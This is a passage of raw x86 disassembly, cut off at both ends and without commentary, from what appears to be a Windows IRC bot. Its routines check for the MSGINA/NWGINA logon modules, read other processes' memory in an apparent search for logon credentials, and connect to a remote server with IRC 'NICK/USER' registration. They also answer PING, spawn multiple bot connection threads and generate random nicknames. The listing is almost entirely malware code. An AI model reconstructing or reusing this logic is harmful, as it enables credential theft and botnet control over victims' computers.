loc_4175AE: ; CODE XREF: sub_417493+16Cj
add [esp+28h+var_18], 11Ch
push offset aNwgina ; "NWGINA"
push [esp+2Ch+var_18]
call sub_41DE4A
pop ecx
push eax
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_417615
push offset aMsgina ; "MSGINA"
push [esp+2Ch+var_18]
call sub_41DE4A
pop ecx
push eax
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_4175F3
mov eax, [ebx+4]
mov [esp+28h+var_4], eax
loc_4175F3: ; CODE XREF: sub_417493+157j
inc [esp+28h+var_10]
mov eax, [esp+28h+var_10]
cmp eax, [esp+28h+var_8]
jb short loc_4175AE
loc_417601: ; CODE XREF: sub_417493+10Fj
test edi, edi
jz short loc_41760C
push edi
call dword_4D4838
loc_41760C: ; CODE XREF: sub_417493+170j
mov edi, [esp+28h+var_4]
jmp loc_417582
; ---------------------------------------------------------------------------
loc_417615: ; CODE XREF: sub_417493+13Cj
xor eax, eax
jmp loc_417590
sub_417493 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41761C proc near ; CODE XREF: sub_4172C1+F1p
var_64 = byte ptr -64h
var_60 = dword ptr -60h
var_40 = byte ptr -40h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2B = byte ptr -2Bh
var_24 = byte ptr -24h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 64h
push esi
xor esi, esi
push [ebp+arg_0]
mov [ebp+var_10], esi
push esi
push 410h
call dword_42708C ; OpenProcess
cmp eax, esi
mov [ebp+var_4], eax
jnz short loc_417645
xor eax, eax
jmp loc_4177C0
; ---------------------------------------------------------------------------
loc_417645: ; CODE XREF: sub_41761C+20j
mov eax, [ebp+arg_4]
push ebx
push edi
mov [eax], esi
lea eax, [ebp+var_64]
push eax
call dword_427160 ; GetSystemInfo
push [ebp+var_60]
mov [ebp+var_8], esi
mov esi, dword_427154
push 8
call esi ; GetProcessHeap
mov edi, dword_427150
push eax
call edi ; RtlAllocateHeap
lea ecx, [ebp+var_8]
mov ebx, dword_42715C
push ecx
mov [ebp+arg_0], eax
push [ebp+var_60]
push eax
push 7FFDF000h
push [ebp+var_4]
call ebx ; ReadProcessMemory
test eax, eax
jnz short loc_417695
xor esi, esi
jmp loc_4177B3
; ---------------------------------------------------------------------------
loc_417695: ; CODE XREF: sub_41761C+70j
lea eax, [ebp+var_40]
push 1Ch
push eax
mov eax, [ebp+arg_0]
push dword ptr [eax+18h]
push [ebp+var_4]
call dword_427158 ; VirtualQueryEx
test eax, eax
jz loc_4177A2
mov ecx, [ebp+var_30]
mov eax, 1000h
and ecx, eax
cmp ecx, eax
jnz loc_4177A2
test [ebp+var_2B], 1
jnz loc_4177A2
push [ebp+var_34]
push 8
call esi ; GetProcessHeap
push eax
call edi ; RtlAllocateHeap
mov edi, eax
lea eax, [ebp+var_8]
push eax
mov eax, [ebp+arg_0]
push [ebp+var_34]
mov [ebp+var_C], edi
push edi
push dword ptr [eax+18h]
push [ebp+var_4]
call ebx ; ReadProcessMemory
test eax, eax
jz loc_4177A2
loc_4176F8: ; CODE XREF: sub_41761C+112j
push edi
push offset dword_4D3830
call sub_4263E5
pop ecx
test eax, eax
pop ecx
jnz short loc_417720
lea eax, [edi+200h]
push eax
push offset dword_4D4030
call sub_4263E5
pop ecx
test eax, eax
pop ecx
jz short loc_417730
loc_417720: ; CODE XREF: sub_41761C+EBj
mov eax, [ebp+var_34]
mov ecx, [ebp+var_C]
inc edi
add eax, ecx
inc edi
cmp edi, eax
jnb short loc_4177A2
jmp short loc_4176F8
; ---------------------------------------------------------------------------
loc_417730: ; CODE XREF: sub_41761C+102j
test edi, edi
jz short loc_4177A2
lea eax, [ebp+var_14]
push eax
lea eax, [edi+410h]
push eax
call dword_42711C ; FileTimeToLocalFileTime
test eax, eax
jz short loc_41776B
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_14]
push eax
call dword_427118 ; FileTimeToSystemTime
test eax, eax
jz short loc_41776B
mov al, [edi+42Ch]
mov ecx, [ebp+arg_4]
shr eax, 1
and eax, 7Fh
mov [ecx], eax
loc_41776B: ; CODE XREF: sub_41761C+12Bj
; sub_41761C+13Dj
movzx eax, word ptr [edi+42Ch]
shr eax, 8
mov dword_4D4A54, eax
mov eax, [ebp+arg_0]
mov [ebp+var_10], 1
mov eax, [eax+18h]
sub eax, [ebp+var_C]
lea eax, [eax+edi+434h]
add edi, 434h
mov dword_4D4A4C, eax
mov dword_4D4A50, edi
loc_4177A2: ; CODE XREF: sub_41761C+90j
; sub_41761C+A2j ...
push [ebp+arg_0]
push 0
call esi ; GetProcessHeap
push eax
call dword_42714C ; RtlFreeHeap
mov esi, [ebp+var_10]
loc_4177B3: ; CODE XREF: sub_41761C+74j
push [ebp+var_4]
call dword_427070 ; CloseHandle
pop edi
mov eax, esi
pop ebx
loc_4177C0: ; CODE XREF: sub_41761C+24j
pop esi
leave
retn
sub_41761C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4177C3 proc near ; CODE XREF: sub_4172C1:loc_4173B9p
var_4C = byte ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_28 = byte ptr -28h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_13 = byte ptr -13h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 4Ch
push ebx
push esi
push edi
push [ebp+arg_0]
push 0
push 410h
call dword_42708C ; OpenProcess
test eax, eax
mov [ebp+arg_0], eax
jz loc_4178B5
mov eax, [ebp+arg_4]
and dword ptr [eax], 0
lea eax, [ebp+var_4C]
push eax
call dword_427160 ; GetSystemInfo
mov ebx, [ebp+var_44]
mov eax, [ebp+var_40]
cmp ebx, eax
mov [ebp+var_C], eax
jnb loc_4178AC
mov edi, dword_427154
loc_41780E: ; CODE XREF: sub_4177C3+E3j
lea eax, [ebp+var_28]
push 1Ch
push eax
push ebx
push [ebp+arg_0]
call dword_427158 ; VirtualQueryEx
test eax, eax
jz short loc_41789A
mov edx, [ebp+var_18]
mov ecx, [ebp+var_1C]
mov eax, 1000h
mov [ebp+var_4], ecx
and edx, eax
cmp edx, eax
jnz short loc_4178A0
test [ebp+var_13], 1
jnz short loc_4178A0
push ecx
push 8
call edi ; GetProcessHeap
push eax
call dword_427150 ; RtlAllocateHeap
mov esi, eax
lea eax, [ebp+var_8]
push eax
and [ebp+var_8], 0
push [ebp+var_1C]
push esi
push ebx
push [ebp+arg_0]
call dword_42715C ; ReadProcessMemory
test eax, eax
jz short loc_41788C
push offset dword_4D3830
push esi
call sub_4263E5
pop ecx
test eax, eax
pop ecx
jnz short loc_41788C
lea eax, [esi+400h]
push offset dword_4D4030
push eax
call sub_4263E5
pop ecx
test eax, eax
pop ecx
jz short loc_4178BC
loc_41788C: ; CODE XREF: sub_4177C3+9Fj
; sub_4177C3+B0j
push esi
push 0
call edi ; GetProcessHeap
push eax
call dword_42714C ; RtlFreeHeap
jmp short loc_4178A0
; ---------------------------------------------------------------------------
loc_41789A: ; CODE XREF: sub_4177C3+5Dj
mov eax, [ebp+var_48]
mov [ebp+var_4], eax
loc_4178A0: ; CODE XREF: sub_4177C3+71j
; sub_4177C3+77j ...
add ebx, [ebp+var_4]
cmp ebx, [ebp+var_C]
jb loc_41780E
loc_4178AC: ; CODE XREF: sub_4177C3+3Fj
push [ebp+arg_0]
call dword_427070 ; CloseHandle
loc_4178B5: ; CODE XREF: sub_4177C3+1Ej
xor eax, eax
loc_4178B7: ; CODE XREF: sub_4177C3+134j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_4178BC: ; CODE XREF: sub_4177C3+C7j
add ebx, 800h
lea eax, [esi+800h]
xor ecx, ecx
mov dword_4D4A4C, ebx
mov dword_4D4A50, eax
cmp [eax], cl
jnz short loc_4178DE
cmp [eax+1], cl
jz short loc_4178E6
loc_4178DE: ; CODE XREF: sub_4177C3+114j
; sub_4177C3+121j
inc ecx
inc eax
inc eax
cmp byte ptr [eax], 0
jnz short loc_4178DE
loc_4178E6: ; CODE XREF: sub_4177C3+119j
mov eax, [ebp+arg_4]
push [ebp+arg_0]
mov [eax], ecx
call dword_427070 ; CloseHandle
push 1
pop eax
jmp short loc_4178B7
sub_4177C3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4178F9 proc near ; CODE XREF: sub_4172C1+135p
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword_4D4A48
push esi
mov esi, dword_427154
push edi
lea ecx, [eax+eax]
lea eax, [eax+eax+2]
mov [ebp+var_6], ax
mov [ebp+var_8], cx
movzx eax, ax
push eax
push 8
call esi ; GetProcessHeap
push eax
call dword_427150 ; RtlAllocateHeap
mov ecx, dword_4D4A48
mov [ebp+var_4], eax
add ecx, ecx
push ecx
push dword_4D4A50
push eax
call sub_41CD20
add esp, 0Ch
lea eax, [ebp+var_8]
push eax
mov al, byte ptr dword_4D4A54
push eax
call dword_4D4834
push [ebp+var_4]
mov edi, offset dword_4D4840
push offset dword_4D3830
push offset dword_4D4030
push [ebp+arg_0]
push offset dword_4386C4
push 200h
push edi
call sub_41C360
add esp, 1Ch
push [ebp+var_4]
push 0
call esi ; GetProcessHeap
push eax
call dword_42714C ; RtlFreeHeap
mov eax, edi
pop edi
pop esi
leave
retn
sub_4178F9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417990 proc near ; CODE XREF: sub_4172C1:loc_4173FDp
var_18 = word ptr -18h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 18h
mov eax, dword_4D4A48
push ebx
push esi
push edi
lea ecx, [eax+eax]
lea eax, [eax+eax+2]
mov [ebp+var_16], ax
mov [ebp+var_18], cx
movzx eax, ax
push eax
push 8
call dword_427154 ; GetProcessHeap
push eax
call dword_427150 ; RtlAllocateHeap
and [ebp+var_C], 0
mov [ebp+var_14], eax
mov ebx, offset dword_4D4030
mov edi, 200h
mov esi, offset dword_4D3630
loc_4179D6: ; CODE XREF: sub_417990+FAj
mov eax, dword_4D4A48
add eax, eax
push eax
push dword_4D4A50
push [ebp+var_14]
call sub_41CD20
add esp, 0Ch
lea eax, [ebp+var_18]
push eax
push [ebp+var_C]
call dword_4D4834
mov eax, dword_4D4A48
and [ebp+var_10], 0
mov ecx, [ebp+var_14]
mov [ebp+var_8], 1
test eax, eax
jbe short loc_417A4B
loc_417A13: ; CODE XREF: sub_417990+B3j
cmp [ebp+var_8], 0
jz short loc_417A68
mov dl, [ecx]
test dl, dl
mov [ebp+var_1], dl
jz short loc_417A37
cmp byte ptr [ecx+1], 0
jnz short loc_417A37
cmp dl, 20h
jnb short loc_417A31
and [ebp+var_8], 0
loc_417A31: ; CODE XREF: sub_417990+9Bj
cmp [ebp+var_1], 7Eh
jbe short loc_417A3B
loc_417A37: ; CODE XREF: sub_417990+90j
; sub_417990+96j
and [ebp+var_8], 0
loc_417A3B: ; CODE XREF: sub_417990+A5j
inc ecx
inc ecx
inc [ebp+var_10]
cmp [ebp+var_10], eax
jb short loc_417A13
cmp [ebp+var_8], 0
jz short loc_417A68
loc_417A4B: ; CODE XREF: sub_417990+81j
push [ebp+var_14]
push offset dword_4D3830
push ebx
push [ebp+arg_0]
push offset dword_4386C4
push edi
push esi
call sub_41C360
add esp, 1Ch
jmp short loc_417A80
; ---------------------------------------------------------------------------
loc_417A68: ; CODE XREF: sub_417990+87j
; sub_417990+B9j
push offset dword_4D3830
push ebx
push [ebp+arg_0]
push offset dword_438714
push edi
push esi
call sub_41C360
add esp, 18h
loc_417A80: ; CODE XREF: sub_417990+D6j
inc [ebp+var_C]
cmp [ebp+var_C], 0FFh
jbe loc_4179D6
push [ebp+var_14]
push 0
call dword_427154 ; GetProcessHeap
push eax
call dword_42714C ; RtlFreeHeap
mov eax, esi
pop edi
pop esi
pop ebx
leave
retn
sub_417990 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417AA9 proc near ; CODE XREF: sub_417C61+2Fp
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
push edi
push 0
push 1
push 2
call dword_4CBA54 ; socket
mov edi, eax
or esi, 0FFFFFFFFh
cmp edi, esi
jz short loc_417B25
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_41BF70
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+arg_4]
call dword_4CB9D4 ; htons
push [ebp+arg_0]
mov [ebp+var_E], ax
call dword_4CBA14 ; inet_addr
cmp eax, esi
jnz short loc_417B0A
push [ebp+arg_0]
call dword_4CBA58 ; gethostbyname
test eax, eax
jz short loc_417B25
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
loc_417B0A: ; CODE XREF: sub_417AA9+4Bj
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push edi
call dword_4CB97C ; connect
cmp eax, esi
jnz short loc_417B29
push edi
call dword_4CBA6C ; closesocket
loc_417B25: ; CODE XREF: sub_417AA9+1Bj
; sub_417AA9+58j
mov eax, esi
jmp short loc_417B2B
; ---------------------------------------------------------------------------
loc_417B29: ; CODE XREF: sub_417AA9+73j
mov eax, edi
loc_417B2B: ; CODE XREF: sub_417AA9+7Ej
pop edi
pop esi
leave
retn
sub_417AA9 endp
; =============== S U B R O U T I N E =======================================
sub_417B2F proc near ; CODE XREF: sub_401ACD+324Cp
; sub_401ACD+32B6p ...
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
push offset asc_42A080 ; "\n"
push edi
call sub_41C8A0
pop ecx
mov esi, offset dword_4D4A5C
pop ecx
loc_417B47: ; CODE XREF: sub_417B2F+42j
cmp dword ptr [esi-4], 1
jnz short loc_417B65
cmp dword ptr [esi], 0
jbe short loc_417B65
push 0
push edi
call sub_41B9C0
pop ecx
push eax
push edi
push dword ptr [esi]
call dword_4CBA24 ; send
loc_417B65: ; CODE XREF: sub_417B2F+1Cj
; sub_417B2F+21j
add esi, 210h
cmp esi, offset dword_4DB17C
jl short loc_417B47
pop edi
pop esi
retn
sub_417B2F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417B76 proc near ; CODE XREF: sub_417C61+155p
var_420 = byte ptr -420h
var_220 = byte ptr -220h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 420h
push ebx
push esi
mov esi, offset asc_42CDC0 ; " "
push edi
push esi
push [ebp+arg_0]
call sub_41CAD4
pop ecx
mov [ebp+var_20], eax
pop ecx
lea edi, [ebp+var_1C]
push 7
pop ebx
loc_417B9B: ; CODE XREF: sub_417B76+35j
push esi
push 0
call sub_41CAD4
mov [edi], eax
pop ecx
add edi, 4
dec ebx
pop ecx
jnz short loc_417B9B
mov esi, [ebp+var_1C]
xor edi, edi
cmp [ebp+var_20], edi
jnz short loc_417BC3
cmp esi, edi
jnz short loc_417BC3
push 1
pop eax
jmp loc_417C5C
; ---------------------------------------------------------------------------
loc_417BC3: ; CODE XREF: sub_417B76+3Fj
; sub_417B76+43j
push [ebp+var_20]
push offset aPing ; "PING"
call sub_41CA50
pop ecx
pop ecx
test eax, eax
push esi
jnz short loc_417BDE
push offset dword_43932C
jmp short loc_417C2C
; ---------------------------------------------------------------------------
loc_417BDE: ; CODE XREF: sub_417B76+5Fj
push offset a433 ; "433"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_417BFF
push esi
push offset dword_439328
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_417C5A
loc_417BFF: ; CODE XREF: sub_417B76+76j
push 200h
lea eax, [ebp+var_420]
push edi
push eax
call sub_41BF70
lea eax, [ebp+var_420]
push eax
call sub_417E84
add esp, 10h
lea eax, [ebp+var_420]
push eax
push offset dword_43931C
loc_417C2C: ; CODE XREF: sub_417B76+66j
lea eax, [ebp+var_220]
push eax
call sub_41C266
add esp, 0Ch
lea eax, [ebp+var_220]
push edi
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_220]
push eax
push [ebp+arg_4]
call dword_4CBA24 ; send
loc_417C5A: ; CODE XREF: sub_417B76+87j
xor eax, eax
loc_417C5C: ; CODE XREF: sub_417B76+48j
pop edi
pop esi
pop ebx
leave
retn
sub_417B76 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417C61 proc near ; DATA XREF: sub_417E06+61o
var_4008 = byte ptr -4008h
var_3008 = byte ptr -3008h
var_2008 = byte ptr -2008h
var_1008 = byte ptr -1008h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 4008h
call sub_41C500
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
imul esi, 210h
push 1
pop edi
lea eax, dword_4D4A64[esi]
mov dword_4D4A58[esi], edi
push dword_4D4C64[esi]
push eax
call sub_417AA9
pop ecx
xor ebx, ebx
cmp eax, edi
pop ecx
mov dword_4D4A5C[esi], eax
jb loc_417DE6
mov edi, 1000h
lea eax, [ebp+var_2008]
push edi
push ebx
push eax
call sub_41BF70
lea eax, [ebp+var_2008]
push eax
call sub_417E84
lea eax, [ebp+var_4008]
push eax
call sub_417E84
lea eax, [ebp+var_3008]
push eax
call sub_417E84
add esp, 18h
lea eax, [ebp+var_3008]
push eax
lea eax, [ebp+var_4008]
push eax
lea eax, [ebp+var_2008]
push eax
lea eax, [ebp+var_1008]
push offset aNickSUserSHotm ; "NICK %s\nUSER %s \"hotmail.com\" \"127.0.0."...
push eax
call sub_41C266
add esp, 14h
lea eax, [ebp+var_1008]
push ebx
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_1008]
push eax
push dword_4D4A5C[esi]
call dword_4CBA24 ; send
push edi
lea eax, [ebp+var_1008]
push ebx
push eax
call sub_41BF70
add esp, 0Ch
loc_417D3D: ; CODE XREF: sub_417C61+111j
; sub_417C61+180j
push edi
lea eax, [ebp+var_1008]
push ebx
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_1008]
push ebx
push edi
push eax
push dword_4D4A5C[esi]
call dword_4CB9EC ; recv
cmp eax, ebx
mov [ebp+var_8], eax
jle short loc_417DE6
xor eax, eax
cmp [ebp+var_8], ebx
mov [ebp+var_4], eax
jz short loc_417D3D
loc_417D74: ; CODE XREF: sub_417C61+17Ej
mov al, [ebp+eax+var_1008]
cmp al, 0Dh
jz short loc_417D9B
cmp al, 0Ah
jz short loc_417D9B
cmp [ebp+arg_0], 0FA0h
jz short loc_417D9B
mov ecx, [ebp+arg_0]
inc [ebp+arg_0]
mov [ebp+ecx+var_2008], al
jmp short loc_417DD5
; ---------------------------------------------------------------------------
loc_417D9B: ; CODE XREF: sub_417C61+11Cj
; sub_417C61+120j ...
mov eax, [ebp+arg_0]
cmp eax, ebx
jz short loc_417DD5
push dword_4D4A5C[esi]
mov [ebp+eax+var_2008], bl
lea eax, [ebp+var_2008]
push eax
call sub_417B76
pop ecx
test eax, eax
pop ecx
ja short loc_417DE6
push edi
lea eax, [ebp+var_2008]
push ebx
push eax
call sub_41BF70
add esp, 0Ch
mov [ebp+arg_0], ebx
loc_417DD5: ; CODE XREF: sub_417C61+138j
; sub_417C61+13Fj
mov eax, [ebp+var_4]
inc eax
cmp eax, [ebp+var_8]
mov [ebp+var_4], eax
jnz short loc_417D74
jmp loc_417D3D
; ---------------------------------------------------------------------------
loc_417DE6: ; CODE XREF: sub_417C61+40j
; sub_417C61+107j ...
mov dword_4D4A58[esi], ebx
mov esi, dword_4D4A5C[esi]
cmp esi, ebx
jbe short loc_417DFD
push esi
call dword_4CBA6C ; closesocket
loc_417DFD: ; CODE XREF: sub_417C61+193j
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
sub_417C61 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417E06 proc near ; CODE XREF: sub_401ACD+319Bp
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
xor ebx, ebx
cmp [ebp+arg_8], ebx
push esi
push edi
mov [ebp+var_4], ebx
jle short loc_417E7F
loc_417E18: ; CODE XREF: sub_417E06+77j
xor edi, edi
mov eax, offset dword_4D4A58
loc_417E1F: ; CODE XREF: sub_417E06+28j
cmp [eax], ebx
jz short loc_417E30
add eax, 210h
inc edi
cmp eax, offset dword_4DB178
jl short loc_417E1F
loc_417E30: ; CODE XREF: sub_417E06+1Bj
cmp edi, 31h
jz short loc_417E7F
mov esi, edi
push [ebp+arg_0]
imul esi, 210h
lea eax, dword_4D4A64[esi]
push eax
call sub_41C890
mov eax, [ebp+arg_4]
pop ecx
mov dword_4D4C64[esi], eax
pop ecx
lea eax, [ebp+var_8]
mov dword_4D4A58[esi], 1
push eax
push ebx
push edi
push offset sub_417C61
push ebx
push ebx
call dword_427084 ; CreateThread
inc [ebp+var_4]
mov eax, [ebp+var_4]
cmp eax, [ebp+arg_8]
jl short loc_417E18
loc_417E7F: ; CODE XREF: sub_417E06+10j
; sub_417E06+2Dj
pop edi
pop esi
pop ebx
leave
retn
sub_417E06 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417E84 proc near ; CODE XREF: sub_401ACD+36FDp
; sub_401ACD+3747p ...
var_40 = byte ptr -40h
var_2D = byte ptr -2Dh
var_2C = byte ptr -2Ch
var_2B = byte ptr -2Bh
var_18 = qword ptr -18h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 40h
push 14h
lea eax, [ebp+var_2C]
push 0
push eax
call sub_41BF70
add esp, 0Ch
call sub_41C2C2
mov [ebp+var_C], eax
fild [ebp+var_C]
fmul dbl_4276D8
call sub_41D174
cmp eax, 1
jnz short loc_417ECE
call sub_41C2C2
call sub_41C2C2
push 66h
cdq
pop ecx
idiv ecx
push off_438A68[edx*4]
jmp short loc_417EE7
; ---------------------------------------------------------------------------
loc_417ECE: ; CODE XREF: sub_417E84+2Fj
call sub_41C2C2
call sub_41C2C2
cdq
mov ecx, 0C0h
idiv ecx
push off_438768[edx*4]
loc_417EE7: ; CODE XREF: sub_417E84+48j
lea eax, [ebp+var_2C]
push eax
call sub_41C890
pop ecx
lea eax, [ebp+var_2C]
pop ecx
push ebx
push esi
push edi
push eax
call sub_41B9C0
pop ecx
mov esi, eax
push 13h
mov [ebp+var_4], esi
pop eax
sub eax, esi
mov [ebp+var_C], eax
call sub_41C2C2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276D0
call sub_41D174
mov ebx, eax
call sub_41C2C2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fimul [ebp+var_4]
fmul dbl_4276C8
call sub_41D174
cmp esi, 2
mov edi, offset a__0 ; "-|`_\\{[]}"
jle short loc_417F5A
cmp esi, 3
jnz short loc_417F51
cmp ebx, 1
jz short loc_417F5A
loc_417F51: ; CODE XREF: sub_417E84+C6j
cmp eax, 1
jnz loc_418014
loc_417F5A: ; CODE XREF: sub_417E84+C1j
; sub_417E84+CBj
call sub_41C2C2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276C0
call sub_41D174
push off_438A68[eax*4]
lea eax, [ebp+var_40]
push eax
call sub_41C890
movsx eax, [ebp+esi+var_2D]
lea ebx, [ebp+esi+var_2C]
push eax
push edi
call sub_41C990
add esp, 10h
test eax, eax
jnz short loc_418001
movsx eax, [ebp+var_40]
push eax
push edi
call sub_41C990
pop ecx
test eax, eax
pop ecx
jnz short loc_418001
call sub_41C2C2
mov dword ptr [ebp+var_18+4], eax
dec esi
fild dword ptr [ebp+var_18+4]
mov dword ptr [ebp+var_18+4], esi
fild dword ptr [ebp+var_18+4]
fmulp st(1), st
fmul dbl_4276C8
call sub_41D174
cmp eax, 1
jnz short loc_418001
push edi
call sub_41B9C0
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
fild [ebp+var_18]
pop ecx
fstp qword ptr [ebp-8]
call sub_41C2C2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul qword ptr [ebp-8]
fmul dbl_4276C8
call sub_41D174
mov al, byte ptr a__0[eax] ; "-|`_\\{[]}"
mov [ebx], al
loc_418001: ; CODE XREF: sub_417E84+111j
; sub_417E84+122j ...
push [ebp+var_C]
lea eax, [ebp+var_40]
push eax
lea eax, [ebp+var_2C]
push eax
call sub_41CBC0
add esp, 0Ch
loc_418014: ; CODE XREF: sub_417E84+D0j
lea eax, [ebp+var_2C]
push eax
call sub_41B9C0
mov esi, eax
movsx eax, [ebp+esi+var_2D]
lea ebx, [ebp+esi+var_2C]
push eax
mov [ebp+var_4], esi
call sub_41DEE8
pop ecx
test eax, eax
pop ecx
jnz loc_41827C
and [ebp+var_C], eax
movsx eax, byte ptr [ebx-1]
push eax
push edi
call sub_41C990
pop ecx
test eax, eax
pop ecx
jnz loc_418173
call sub_41C2C2
mov dword ptr [ebp+var_18+4], eax
lea eax, [esi+3]
fild dword ptr [ebp+var_18+4]
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmulp st(1), st
fmul dbl_4276C8
call sub_41D174
cmp esi, 3
jz short loc_418082
cmp eax, 1
jnz loc_418173
loc_418082: ; CODE XREF: sub_417E84+1F3j
push 2
cdq
pop ecx
idiv ecx
cmp edx, 1
jnz short loc_4180C4
push edi
call sub_41B9C0
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
fild [ebp+var_18]
pop ecx
fstp qword ptr [ebp-10h]
call sub_41C2C2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul qword ptr [ebp-10h]
fmul dbl_4276C8
call sub_41D174
mov al, byte ptr a__0[eax] ; "-|`_\\{[]}"
mov [ebx], al
jmp short loc_4180E0
; ---------------------------------------------------------------------------
loc_4180C4: ; CODE XREF: sub_417E84+207j
call sub_41C2C2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276B8
call sub_41D174
mov cl, 41h
sub cl, al
mov [ebx], cl
loc_4180E0: ; CODE XREF: sub_417E84+23Ej
push 1
inc esi
pop ebx
mov [ebp+var_4], esi
mov [ebp+var_C], ebx
call sub_41C2C2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276B0
call sub_41D174
cmp esi, 3
jz short loc_418109
cmp eax, ebx
jnz short loc_418173
loc_418109: ; CODE XREF: sub_417E84+27Fj
push 2
pop ebx
cdq
mov ecx, ebx
idiv ecx
test edx, edx
jnz short loc_41814E
push edi
call sub_41B9C0
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
fild [ebp+var_18]
pop ecx
fstp qword ptr [ebp-10h]
call sub_41C2C2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul qword ptr [ebp-10h]
fmul dbl_4276C8
call sub_41D174
mov al, byte ptr a__0[eax] ; "-|`_\\{[]}"
mov [ebp+esi+var_2C], al
jmp short loc_41816C
; ---------------------------------------------------------------------------
loc_41814E: ; CODE XREF: sub_417E84+28Fj
call sub_41C2C2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276B8
call sub_41D174
mov cl, 41h
sub cl, al
mov [ebp+esi+var_2C], cl
loc_41816C: ; CODE XREF: sub_417E84+2C8j
inc esi
mov [ebp+var_C], ebx
mov [ebp+var_4], esi
loc_418173: ; CODE XREF: sub_417E84+1C9j
; sub_417E84+1F8j ...
cmp esi, 6
jge loc_4181FC
cmp esi, 5
jge short loc_418194
call sub_41C2C2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276D0
jmp short loc_4181B2
; ---------------------------------------------------------------------------
loc_418194: ; CODE XREF: sub_417E84+2FBj
call sub_41C2C2
push 8
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
pop eax
sub eax, esi
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmulp st(1), st
fmul dbl_4276C8
loc_4181B2: ; CODE XREF: sub_417E84+30Ej
call sub_41D174
test eax, eax
jnz short loc_4181D5
call sub_41C2C2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276A8
call sub_41D174
mov cl, 30h
jmp short loc_4181F2
; ---------------------------------------------------------------------------
loc_4181D5: ; CODE XREF: sub_417E84+335j
cmp eax, 1
jnz short loc_4181FC
call sub_41C2C2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276B8
call sub_41D174
